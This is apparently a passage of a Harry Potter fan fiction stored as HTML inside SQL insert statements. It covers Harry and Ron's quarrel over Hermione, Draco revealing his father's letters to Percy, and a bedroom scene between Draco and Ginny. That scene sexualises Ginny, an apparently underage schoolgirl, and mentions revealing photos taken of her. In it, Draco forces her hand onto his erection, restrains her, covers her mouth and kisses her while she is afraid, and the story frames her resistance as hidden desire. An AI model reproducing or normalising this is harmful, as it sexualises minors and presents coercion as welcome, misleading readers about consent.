Roman">&#8212;</font> Ron was in love. He had never been worried about being the third wheel at all. It was always about Hermione. None of this would have mattered, so long as she was happy, but&#8212;she didn\'t want Ron. Right?</p>\n\n<p></p>\n\n<p>Ron had stilled, his shoulders stooped forward. &quot;So that\'s it, is it?&quot;</p>\n\n<p></p>\n\n<p>He glared down at Hermione, who was still hunched against the wall and not looking at anyone. &quot;You\'re with Harry now. How long has this been going on? How many years have you two been lying to me?&quot;</p>\n\n<p></p>\n\n<p>Harry clenched his fists and his face flushed an ugly red colour. He spoke quietly in a voice that ached with guilt and betrayal. &quot;Bit rich for you to talk about lies, Ron. You\'ve been telling Hermione that I\'m the town whore for ages.&quot;</p>\n\n<p></p>\n\n<p>Ron\'s eyes widened and his nostrils flared with rage. &quot;You\'re stupid to believe anything she says. If anyone here is a whore and a liar, it\'s her.&quot;</p>\n\n<p></p>\n\n<p>Hermione shrank even further into the wall, her small frame shaking. Harry stepped forward then and slammed Ron against the door to Draco\'s room, his anger a tight coil waiting to be unleashed.</p>\n\n<p></p>\n\n<p>&quot;Take that back, Ron or so help me, I\'ll pound you flat.&quot;</p>\n\n<p></p>\n\n<p>&quot;Go on, then. Take a shot, Harry.&quot;</p>\n\n<p></p>\n\n<p>Ron was challenging him, almost as if he wanted to see what would happen when the famous Harry Potter lost his temper. Slowly, Harry removed his hands from Ron\'s shoulders. He breathed slowly, in and out, forcing the rage to subside.</p>\n\n<p></p>\n\n<p>&quot;Hermione and I will leave tomorrow morning. Maybe you\'ll have come around by the time school starts again.&quot;</p>\n\n<p></p>\n\n<p>Ron laughed. &quot;And how are you going to leave? You\'re stuck with us other rats here.&quot;</p>\n\n<p></p>\n\n<p>&quot;I\'ll find a way,&quot; Harry ground out. &quot;Even if I have to carry her down the road on my back, we&#8216;re leaving. If I have to spend another day here with you, I might do something we\'ll both regret.&quot;</p>\n\n<p></p>\n\n<p>&quot;I doubt <i>you\'d</i> regret anything, Harry.&quot;</p>\n\n<p></p>\n\n<p>Harry looked at Ron, his breath coming in great heaves. Then he glanced down at Hermione. This was too hard; it wasn\'t supposed to be like this. They were both his friends, how could he make a choice like this?</p>\n\n<p></p>\n\n<p>Eventually, it was the way Hermione\'s shoulders were shaking in combination with Ron\'s glare that made it easier to decide between love and friendship. Even if things didn&#8216;t work out romantically, he and Hermione would always be friends. But Ron . . .</p>\n\n<p></p>\n\n<p>&quot;Goodbye, Ron,&quot; Harry said softly before turning away and leading Hermione back down the hall and upstairs to her room.</p>\n\n<p></p>\n\n<p>Of course he regretted it, Ron had been with him since his first day on the train to Hogwarts almost seven years ago. They\'d been through so much together and had always remained friends.</p>\n\n<p></p>\n\n<p>Until now.</p>\n\n<p></p>\n\n<p>It wasn\'t Hermione\'s fault. If it hadn\'t been her, it would\'ve been someone or something else. Ron had always been jealous, only now Harry knew how far that extended. Given the choice between the best friend who was jealous of him and the best friend, the woman, he loved, Harry had chosen her.</p>\n\n<p></p>\n\n<p>Now that he reflected upon it though, he realised that it may not have been the wisest choice. Voldemort was still there, lurking in the shadows for the moment when everything would hang in the balance and Harry would have to make more agonising decisions in regard to those who were important to him. It would have been kinder to break her heart then, and have done with it. But he couldn&#8216;t bear to see her in pain, and he knew somehow that she wouldn&#8216;t have accepted his apparent indifference. Hermione had fought by his side for almost seven years. A rejection from him would never change that.</p>\n\n<p></p>\n\n<p>Voldemort and the drama of life were eating away at all Harry valued, leaving ghosts behind.</p>\n\n<p></p>\n\n<p>And Hermione would never be safe, even if Voldemort died this moment and didn&#8216;t trouble them again; life was out there. Life was waiting for them like a praying mantis.</p>\n\n<p></p>\n\n<p>How could he live without Hermione when she was the one good thing remaining in his world?</p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(271, 13, ' <p>Draco was lying on his bed, listening to the argument outside his door. The Trio was now a Duo, plus one corked-off git. Instead of the amusement he expected to feel, Draco was cold inside. A heavy hand of foreboding gripped him tightly. This didn&#8217;t feel right at all.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;There were many things in Draco&#8217;s life that he had accepted as fact long ago, but they were now twisting and writhing off into a category labelled &#8216;unknown&#8217;. It made him wonder if anything was definite in this world.</p>\n\n<p>&nbsp;</p>\n\n<p>Fact number one: The Trio will always be there to annoy, embarrass, and confuse him.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco snorted and wondered if it was such a bad thing after all that their little group had broken up. But the cramping of his stomach told him otherwise. As much as he hated to admit it, they were a necessary annoyance. One always needed a nemesis after all, and three together was even better. At least then it had been interesting to play them off against each other. Now it was only one jealous prat and a couple of lovebirds so absorbed in their own little drama that they wouldn&#8217;t notice if Voldemort slithered up and kicked them in the arse.</p>\n\n<p>&nbsp;</p>\n\n<p>Then there was his own personal play unfolding. That damn Weasley girl. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco blinked in surprise for a moment. He hadn&#8217;t thought of her as a Weasley for a while now. Hell, he hadn&#8217;t thought of the <i>Weasleys </i>as Weasleys since shortly after he crashed through their roof. Each had an individual name and personality to go with the face he saw everyday. Calling them all &#8216;Weasley&#8217; was too confusing, so he&#8217;d settled for using their given names and the habit stuck. </p>\n\n<p>&nbsp;</p>\n\n<p>But it was dangerous.</p>\n\n<p>&nbsp;</p>\n\n<p>A given name allowed for attachment and, dare he say it, a wary camaraderie. Now, in the quest for a good shag, he&#8217;d allowed himself to think of the littlest Weasley in ways that would no doubt have her brothers stuffing their fists down his throat before he could blink.</p>\n\n<p>&nbsp;</p>\n\n<p>He glanced at the door, hearing nothing but silence from the hall, and shrugged. Apparently she hadn&#8217;t run squealing down the stairs to tell them all that the bad man had snogged her senseless in the bathroom. Or maybe they had just forgotten in the excitement of precious Pott--</p>\n\n<p>&nbsp;</p>\n\n<p><i>Knock, knock, knock.</i></p>\n\n<p>&nbsp;</p>\n\n<p>Well, there went that idea.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy, are you in there?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Speak of the devil.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco rose from his bed, stretching lazily. A cold bath had done wonders for his temperament, but he still wanted to be left alone. He opened the door and lifted an eyebrow in question. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry was standing in the hallway, his shirt wrinkled with wet spots around the shoulder. No doubt from his little love-hen, who had surely cried her eyes out after the interlude in the hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. and Mrs. Weasley sent me up to fetch you. I told them that we had something we needed to talk with them about.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded and stepped out into the landing, shutting his door behind him. Potter seemed to be nervous because he was twisting his fingers through the god-awful rug he called hair. Telling the Weasleys about their son would be bad enough without having that idiot trip all over himself with anxiety. </p>\n\n<p>&nbsp;</p>\n\n<p>Straightening his shoulders, Draco stood taller and forced himself to follow Harry down the stairs and into the kitchen. The house seemed eerily quiet without explosions and laughter coming from the twins&#8217; room, who must have actually turned in early in anticipation of Christmas.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco twisted his lips in wry amusement. What a lovely time to be told that your son is making nice with the enemy. Then he shuddered as he recalled just who that enemy was, and Draco wondered idly if <i>he </i>was still considered the enemy.</p>\n\n<p>&nbsp;</p>\n\n<p>To him, the Weasleys were now nothing more than regular human beings. Sure, there was the occasional chuckle when he thought about how threadbare their carpets were or how chipped the teapot was. But if it had been his family in the same situation, would they have taken him in with open arms <i>after</i> he had fallen through their roof and made the lives of their youngest children miserable for years before that?</p>\n\n<p>&nbsp;</p>\n\n<p>The question didn&#8217;t even merit an answer. Draco knew that his father would have thrown whoever dared enter the Malfoy sacrosanct out on their ear if not much worse. He certainly wouldn&#8217;t have taken care of them if there were as few Galleons in the Malfoy coffers as there were in the Weasleys&#8217;.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco frowned. He didn&#8217;t like to be indebted to others if he could avoid it. Perhaps when everything was settled, he could. . . but everything would never <i>be </i>settled! Lucius Malfoy had invested time, effort, and many a bow and scrape to his master for Draco, but <i>never</i> a drop of affection. With this combination, he&#8217;d be lucky to escape with his life if his father ever found him. No more Hogwarts, no more expensive brooms, no more Quidditch, no more. . . life.</p>\n\n<p>&nbsp;</p>\n\n<p>The reality that Draco had been avoiding for so long finally crashed down on him. When he looked up, he found himself sitting in the kitchen. Mrs. Weasley was hovering over him in concern, with no recollection of how he had made it down the stairs and into the warm, bright room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco.&#8221; She was shaking him on the shoulder, pressing one of those ever-present cups of tea into his hand as if it would make everything well again.</p>\n\n<p>&nbsp;</p>\n\n<p>He blinked and swallowed, staring at her before allowing his eyes to drift over the table to Harry and Mr. Weasley. The teacup fell from his trembling hand and shattered on the floor. He couldn&#8217;t do this to them!</p>\n\n<p>&nbsp;</p>\n\n<p>They were staring at him mutely. Mrs. Weasley dug her fingers into his shoulders, and it seemed like she wanted to embrace him, but her husband held her back with a glance. Surprisingly, it was Harry who seemed to know what he was thinking and clapped a firm hand on his shoulder. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy, you have to tell them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco knew that his eyes must seem blank and staring to the others, he certainly <i>felt </i>blank and staring. Try as he might though, he couldn&#8217;t bring himself to say a word. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry reached into his pocket and pulled out a crumpled box of cigarettes and a folded piece of parchment. He set the note next to his teacup and fumbled with the box for a moment before handing Draco one of the short, white sticks with an apologetic glance at Mrs. Weasley.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Maybe he&#8217;ll calm down enough to say something if he has a fag first.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Mrs. Weasley sniffed and dropped her hands from Draco&#8217;s shoulders, walking back to the seat next to her husband. Mr. Weasley was staring at him intently, waiting for something to happen.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco lifted the cigarette to his lips and pulled a draught of mentholated smoke deep into his lungs. After another two drags, he could feel the calming charm work enough so that he could speak.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Potter, give that letter to Mr. Weasley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry did as requested, albeit reluctantly. Obviously he didn&#8217;t want to be the bearer of bad news either. Draco could see the fear tightening around Mr. Weasley&#8217;s eyes, but the man accepted the paper and took a deep breath before unfolding it.</p>\n\n<p>&nbsp;</p>\n\n<p>Absentmindedly, Harry took out a cigarette as well and started puffing away, the air around the end of the table where the two boys were at filling rapidly with smoke. Mrs. Weasley only had time to throw them a dirty look before her husband spoke up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t understand. Does this mean more than I think it does?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco sighed, taking another puff from his cigarette before pinching the end. It disappeared in a wisp of smoke and he watched it dissipate. Mrs. Weasley, by this time, had already grabbed the letter from her husband, scanning it desperately for clues.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Does it help you to know that the handwriting belongs to--&#8221; Draco swallowed hard, fingering Harry&#8217;s box of cigarettes clumsily before taking another one out and putting it to his lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The handwriting on that letter is my father&#8217;s.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He had expected an explosion of denials, but what he received was a stony silence. Mrs. Weasley was shaking her head over and over, clutching the letter to her chest while her husband glared at Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is this a joke, boy? I don&#8217;t take kindly to such cru--&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It isn&#8217;t a joke, Mr. Weasley,&#8221; Harry cut the man off. &#8220;I was the one who found the letters, Draco didn&#8217;t even know they were there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He had just been called by his first name, but somehow this didn&#8217;t sink in. What did register was the fact that <i>Potter</i> had just defended him. This all felt terribly wrong.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; Mrs. Weasley shouted out. &#8220;It can&#8217;t be true! My Percy would never do something like this. He&#8217;s still pining for Penelope, he wouldn&#8217;t just throw her out the window.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Mr. Weasley took in Draco&#8217;s still form with measuring eyes. &#8220;I don&#8217;t believe they&#8217;re lying, Molly. This may not be what it seems, but they aren&#8217;t lying.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco breathed a sigh of relief and put a hand to his forehead. He wanted another cup of tea, but Mrs. Weasley was still in histrionics and he was afraid to bother her for something so trivial as tea, lest he get smashed over the head with her skillet.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You said that there were letters? More like this?&#8221; Mr. Weasley asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know if they are all like this, but it looked like they all had the same handwriting on the front.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bring them to me, Harry. I want to know what&#8217;s going on.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Mr. Weasley&#8217;s tone was firm and left no room for argument. Harry stood up and did as requested while Mrs. Weasley received some comfort from her husband. Draco opened an eye and glanced up at them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I want you to know that I appreciate your bringing this to our attention, Draco. I&#8217;m--&#8221; Mr. Weasley stopped and let a very small smile lift one corner of his mouth. &#8220;I&#8217;m very proud of you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stared. These words, from a man who had been mortal enemies with his father for longer than either one could probably remember and here he was, saying that he was proud of him as if none of that mattered. Saying that he was proud of him as his own father had never done. Not once.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I-- do you need me here anymore, Mr. Weasley? I&#8217;m very tired.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The older man shook his head, pulling his wife a little closer to him. &#8220;I think we&#8217;ll be fine. If we need to ask you something, it can wait until morning. Go to sleep.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Draco acknowledged the words with a small dip of his head and stood up, stumbling out of the kitchen on wobbly legs. He brushed by Harry as he made his way up the stairs, not bothering to say anything to the other boy. It had been so long since he had done more than doze and the door to his room was in sight.</p>\n\n<p>&nbsp;</p>\n\n<p>Every time his head would hit the pillow, events from his past would play themselves through his mind. Normally there would be nothing wrong with this as he was reliving some of his more amusing memories. But ever since <i>the incident,</i> as he referred to it, his dreams carried a deep burning in his chest and he found it difficult to breathe at times. Something was so horribly wrong and there was nothing he could do about it. What he wouldn&#8217;t give for some real sleep. Draco stumbled against his door and was about to turn the knob when a small voice made him stop.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco? I thought you went to bed.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sighing, he twisted his head around so that he could look at Ginny. In her nightdress. This wasn&#8217;t what he needed right now.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was until you showed up,&#8221; he stated blandly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny frowned and moved closer. &#8220;I was just going downstairs to get some water.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I wouldn&#8217;t, if I were you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Such an innocent question with a very complicated answer. It didn&#8217;t have to be, though. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just listen to me for once, stay out of the kitchen tonight. Your parents are talking and don&#8217;t want to be disturbed.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are they talking about?&#8221; she asked, her eyes very large in the softly lit hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Draco lied. He moved back toward the door again, eager to escape another draining episode like that of earlier. The stupid girl apparently didn&#8217;t have enough sense to stay angry for long periods of time, and at the moment, he didn&#8217;t have the emotional strength to go for round two with her just yet.</p>\n\n<p>&nbsp;</p>\n\n<p>Now there was that small hand on his arm, gripping it tightly with concern. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is there something wrong? You don&#8217;t seem yourself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco almost laughed; it really was too amusing. After he had dropped her on her arse in the bathroom earlier, she was coming to him now asking if <i>he </i>was all right. He didn&#8217;t really want to be alone, but he also wasn&#8217;t up to another one of their arguments either.</p>\n\n<p>&nbsp;</p>\n\n<p>But the warm hand on his arm was there for comfort, not war for once, and Draco couldn&#8217;t bring himself to snap at her or pull his arm away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, there are a million things wrong with me. Right now, they all seem to be ganging up at once and I&#8217;d really like to be left alone, if you don&#8217;t mind.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He could feel her hand slip away and Draco half turned to look Ginny in the eyes. She was small, and so fragile looking as she pulled her arms up tight against her chest in an attempt to keep away the winter chill.</p>\n\n<p>&nbsp;</p>\n\n<p>A warm frisson went up his spine as he noticed her famous nipples peaking from under one of her arms and the soft cotton of her nightdress. She didn&#8217;t even have a dressing gown on. Now the abandoned desire from earlier was rearing its head and he groaned in exasperation.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was looking at him speculatively, her head tilted to the side as if he was a great puzzle that she was trying to figure out.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You don&#8217;t really want to be left alone, do you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If I said I do would you leave?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She shook her head. &#8220;No, I&#8217;m not going anywhere. Tell me what&#8217;s the matter.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco sighed in frustration as he opened the door to his room. The stupid chit wouldn&#8217;t leave him be.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have it your way, but at least come in. It&#8217;s freezing in this hall and I&#8217;m not about to start telling you all of my dirty secrets out here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny eyed him warily, no doubt looking for an ulterior motive, before shrugging her shoulders and following him inside. The room itself was cold and she shivered, rubbing the backs of her arms.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It isn&#8217;t any better here, you know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco chose to ignore this and flopped down on the bed dramatically, motioning for her to sit in the chair at the desk across from him. She complied, pulling her nightdress down over her legs modestly.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco snorted and rolled his eyes. It wasn\'t as if he hadn\'t seen every inch of her body already, even before their little interlude in the bathroom. Those pictures that the Creevey boy had taken were very. . . revealing. Now that he was here with her in person though, he drank in the soft expanse of her belly, not firm and flat, but gently rounded under the thin cloth. His eyes then trailed up to her breasts with the peach coloured nipples he knew became so small when she was aroused. And then his betraying eyes travelled further, up to her-- he was staring at her, and she knew it.</p>\n\n<p>&nbsp;</p>\n\n<p>Not allowing himself to be cowed by Ginny\'s murderous expression, Draco continued to peruse her at his leisure, raking his eyes over her shivering body.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I\'m not here so you can undress me with your eyes, Draco Malfoy,&quot; Ginny spit out acidly. There was a rosy flush creeping up her cheeks and Draco found it very flattering despite her general colouring.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Then why are you here, Ginny Weasley?&quot; he asked, reaching into his pocket for a fag. After two puffs she still hadn\'t answered and the smoke from his cigarette was circling her head and she tilted it to the side to study him. Her face was blank and serene and she would have looked terribly innocent if it wasn&#8217;t for her eyes, they were a little too sharp. Finally she spoke.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I\'m here because you need someone to talk to and I--&quot; she broke off, twiddling her fingers together. &quot;I thought that I might be able to help.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;What makes you think that I would tell <i>you </i>anything?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny shrugged spasmodically. She was still weaving her fingers tightly and Draco could tell she was making an effort to reign in her temper. &quot;Why not me? I know you would never tell any of my brothers anything. And if it\'s important, my parents would probably be the last to know.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco laughed briefly, taking another lungful of smoke before stretching out further on his back, one hand propping up his head. &quot;Actually, your parents already know. I brought it to their attention a few moments ago and your precious Potter is down there now to keep them from falling apart.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>That surprised her. &quot;What happened?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Pinching the end of his cigarette, Draco shrugged. &quot;It really isn\'t any of your business, but then again, he <i>is</i> your brother.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny wrinkled her nose. &quot;Is this about Ron?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;You would think that, wouldn\'t you? But no, it\'s the more disgusting one.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Just tell me already! You know that you will eventually, so stop beating around the bush.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco measured her slowly up and down, taking in the frustrated face and clenched hands. It was true, she would find out soon enough from someone else, so he may as well be the bearer of bad news. But God, did he really have to tell her about his father? What if she assumed that he was a poof too? How could she though, after what had happened earlier? Draco was assured that his manhood would remain intact if he told her; there had been no confusion then about where his desires lay. He nodded to himself in satisfaction.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Did you know that your brother Percy is gay?&quot; he asked confidently.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny blinked in confusion for a moment before inclining her head to regard him. &quot;How did you know about that?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco started, thrown by the fact that she not only knew, but didn\'t seem to care. &quot;I-- we-- Potter and I found some letters under a loose floorboard.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Oh.&quot; Ginny covered her mouth. &quot;Poor Percy.&quot; She shook her head for a moment before looking up. &quot;I still don\'t understand why you\'re so upset about it though. After Penelope found out that he liked boys, <i>she </i>was upset, but that\'s only because she\'d been his girlfriend for years. You don\'t have anything to do--&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;The letters were from my father, Ginny,&quot; Draco cut her off quietly, pulling out another cigarette and putting it to his lips so he didn\'t have to see the disgust and horror on her face. It was bad enough that he could hear her gasp. When he did finally glance up, it was only because she had sat beside him on the bed. Ginny laid a hand on his arm, forcing him to look into her tear-filled eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I\'m sorry, Draco. You must feel terrible.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Yes, well, how would you feel if it was you in my situation?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny\'s eyes bored into his as she reached up to tuck an unruly strand of hair behind his ear. &#8220;Like me; hurt, angry, confused.&quot; She paused, allowing this to soak in before continuing. &quot;Is this what that whole thing in the bathroom was about? Are you unsure of the way you feel so you needed to test--&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco grabbed her hand and set it on top of his lap, pressing down firmly so she could feel his erection through the fabric of his trousers. &quot;Does this feel like I\'m confused?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>She sucked in a breath at the obvious evidence of his arousal, and he supposed&nbsp; it also surprised her that he was in that state <i>because</i> of her. </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;N-no,&quot; she stuttered, trying to pull her hand away but he kept it in place, his eyes flickering over her face.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I\'m not confused, Ginny. I know exactly what I want.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>The futile motions of her hand trying to escape made his erection bob and quiver, thinking that it was finally going to be appeased when apparently, it was wrong.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&quot;I\'m not here for a shag, Draco. I came in here because I thought you might need an ear. Since it\'s you though, I should\'ve known better.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny wrenched her hand away from his crotch and stood up, her ruffled dignity evident from the way her shoulders straightened and set rigidly. He couldn\'t let her leave, not now! </p>\n\n<p>&nbsp;</p>\n\n<p>Draco reached up and grabbed her arm, tugging hard with the intention of making her sit down again. He must have pulled too hard though because instead of sitting down, she fell onto him with a muffled cry of indignation. Her back was firm against his chest and Draco brought an arm up to pin down her wriggling waist, the other arm snaking over her breasts to clamp a hand on her mouth.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Quiet!&quot; he hissed into her ear. &quot;Do you want the entire house to come up here and see you like this?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny shook her head violently. He couldn\'t see her face, but he imagined that she appeared to be very annoyed. Draco slowly removed the hand over her mouth and she gave a vicious snap to them with her teeth as they receded.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Son of a--&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco cradled his injured hand and pushed her to the floor with his elbow. &#8220;What&#8217;s wrong with you, you stupid cow?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wrong with me?&#8221; she started huffily, picking herself up off the floor to hover over him like a ghost in her white cotton. &#8220;I&#8217;ll tell you what&#8217;s wrong with me! I come in here to help you, give you a friendly shoulder, and all you can do is maul me like some animal.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco lifted an eyebrow and smirked, lying on his side like a lazy cat with one hand propping his face. &#8220;Is there a less bestial way to maul someone?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny fumed for a moment, her face blotching an angry red as she sputtered. &#8220;How-- you-- you&#8217;re incorrigible!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>One corner of his mouth elevated in amusement. &#8220;But you like me that way, don&#8217;t you, Ginny?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I do <i>not</i>. Why can&#8217;t you behave like a normal boy instead of a prat?&#8221; she asked, hands out and almost pleading.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shrugged. &#8220;Normal is for silly little romantic twits, like you.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>He jumped from the bed and stalked her across the room in a twisted tango. For every step he took forward, she mirrored it by taking one step back. &#8220;You don&#8217;t like normal anymore than I do. You hate it; despise it, even though you want everyone else to believe that you are <i>such</i> a good girl. Inside though, you&#8217;re as much an animal as I am.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I&#8217;m not. You shouldn&#8217;t dare to compare yourself to me, Malfoy. You&#8217;re nothing but a cold-blooded reptile. You don&#8217;t like me, you don&#8217;t like anyone but yourself,&#8221; she whispered shakily, stepping back further toward the door.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t presume,&#8221; Draco chided, waggling his finger mockingly. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny visibly quailed as her back hit the door and dropped a hand to search for the knob. However, Draco was too fast and he grabbed the seeking fingers carefully.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, now,&#8221; he whispered in her ear. &#8220;None of that, gosling. Just admit it and I&#8217;ll let you go.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Admit what?&#8221; she asked harshly, trying to pull her fingers out of his grip and failing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Tell me that you fancy me, that you want me. Go on; whisper it in my ear right here. I won&#8217;t tell a soul.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Draco leaned back to see the effect of his words and was startled by the pure venom in her eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I <i>hate</i> you,&#8221; she breathed, slowly enunciating each syllable. &#8220;And I hope that your pecker shrivels up and falls off.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sweeping over her body with his eyes, Draco noted that her skin was contracted with goose bumps and those beautiful little nipples were diamond hard under her nightdress. Wasn&#8217;t that interesting?</p>\n\n<p>&nbsp;</p>\n\n<p>Draco dropped her fingers and spanned her waist with his hands, pulling her to him. She didn&#8217;t resist, almost as if she were anticipating it. He must remember to get her this riled up every time, it apparently did wonders for her libido.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You wouldn&#8217;t <i>really</i> want my pecker to fall off, would you?&#8221; Draco asked, lips twitching.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny stared up at him mutinously. &#8220;Yes,&#8221; she replied firmly.</p>\n\n<p>&nbsp;</p>\n\n<p>He sighed. &#8220;This game is very amusing. However, don&#8217;t you think it time we set it aside in favour of more... enjoyable pastimes?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She faltered then and dropped her gaze to the floor, mumbling. &#8220;What are you on about?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This,&#8221; Draco gestured to himself and then her. &#8220;The fighting and bickering, the arousal that always follows. I don&#8217;t mind the last, but a man can only take so many hot cuppas to the goods before he becomes slightly wary of the whole notion.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked back up into his face, searching, but not finding what she was seeking. &#8220;This isn&#8217;t arousal, Draco.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He only gave a pointed glance at her straining breasts and the heated flush creeping up her neck. &#8220;Really?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>She crossed her arms over her chest with a glare. &#8220;Yes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco leaned down to kiss her, forcing her mouth open, as she stood rigid with fear. He grabbed the backs of her arms, kneading the soft flesh before she relented and threw herself into the activity with more enthusiasm than even he was expecting. Ginny loosened her arms and her small, curious fingers snaked down his stomach to claw at the edge of his shirt.</p>\n\n<p>&nbsp;</p>\n\n<p>Instead of continuing to kiss her as he wanted to do, Draco pulled away 